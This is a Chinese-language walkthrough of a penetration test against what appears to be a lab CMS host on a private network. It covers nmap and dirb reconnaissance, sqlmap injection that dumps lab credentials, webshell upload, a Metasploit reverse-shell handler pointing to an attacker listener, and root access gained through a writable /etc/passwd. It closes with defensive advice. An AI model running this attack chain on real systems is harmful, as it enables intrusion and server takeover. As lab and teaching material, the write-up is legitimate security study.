记一次cms渗透测试
字数 1056 2025-08-05 08:19:29
CMS渗透测试实战教学文档
一、信息收集阶段
1. 网络扫描
-
主机发现:使用Nmap扫描目标网段,识别存活主机
nmap -sP 10.10.10.0/24 -
端口扫描:对特定IP进行端口枚举和操作系统识别
nmap -sT -O 10.10.10.128
2. 网站目录枚举
-
使用DIRB工具进行网站目录爆破
dirb http://10.10.10.128 -
使用专业扫描工具:
- 椰树扫描器:进行漏洞扫描和目录信息收集
- AWVS扫描器:进行全面网站扫描
二、漏洞发现与利用
1. SQL注入漏洞
-
发现注入点:
http://10.10.10.128/se3reTdir777/ -
使用SQLMap进行自动化注入:
sqlmap -r /root/2.txt --dump -D aiweb1 -
获取的数据库凭证:
- 账号:
t00r密码:FakeUserPassw0rd - 账号:
aiweb1pwn密码:MyEvilPass_f908sdaf9_sadfasf0sa - 账号:
u3er密码:N0tThis0neAls0
- 账号:
2. 信息泄露
- 通过目录枚举发现
phpinfo页面,暴露网站根目录:/home/www/html/web1x443290o2sdf92213
3. 文件上传漏洞
- 使用SQLMap的
--os-shell功能尝试获取网站路径 - 通过枚举找到上传路径
- 上传WebShell:
- 小马(用于连接中国蚁剑)
- 大马(用于文件管理)
- 通过WebShell发现数据库配置文件,获取更多凭证
三、权限提升
1. 获取交互式Shell
- 当无法直接获取交互式Shell时,使用Python生成:
python -c 'import pty;pty.spawn("/bin/bash")'
2. 反弹Shell技术
- 准备PHP反弹脚本
- 设置监听:
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 10.10.10.129 set lport 8080 run
3. 创建特权用户
-
当发现
/etc/passwd可写时,使用OpenSSL创建用户:openssl passwd -1 -salt xxxxxxxx password输出示例:
$1$xxxxxxxx$UYCIxa628.9qXjpQCjM4a.参数说明:
-1:使用MD5加密-salt:指定盐值- 输出格式:
$id$salt$encrypted($id=1表示MD5算法)
4. 提权操作
- 切换到交互式终端
- 尝试切换为root用户
四、渗透测试总结
- 优先获取WebShell:通过文件上传、SQL注入等方式获取服务器控制权
- 备选方案:
- 在有上传功能的地方上传反弹Shell脚本
- 利用系统、服务器、第三方软件或数据库漏洞获取Shell
- 信息收集是关键:全面收集信息有助于发现更多攻击面
- 权限提升路径:从Web应用漏洞到系统级权限的完整攻击链
五、防御建议
- 定期进行安全扫描和渗透测试
- 加强输入验证,防止SQL注入
- 限制文件上传功能,对上传内容进行严格检查
- 避免敏感信息泄露(如phpinfo、配置文件等)
- 保持系统和应用软件及时更新
- 实施最小权限原则,限制Web服务器的权限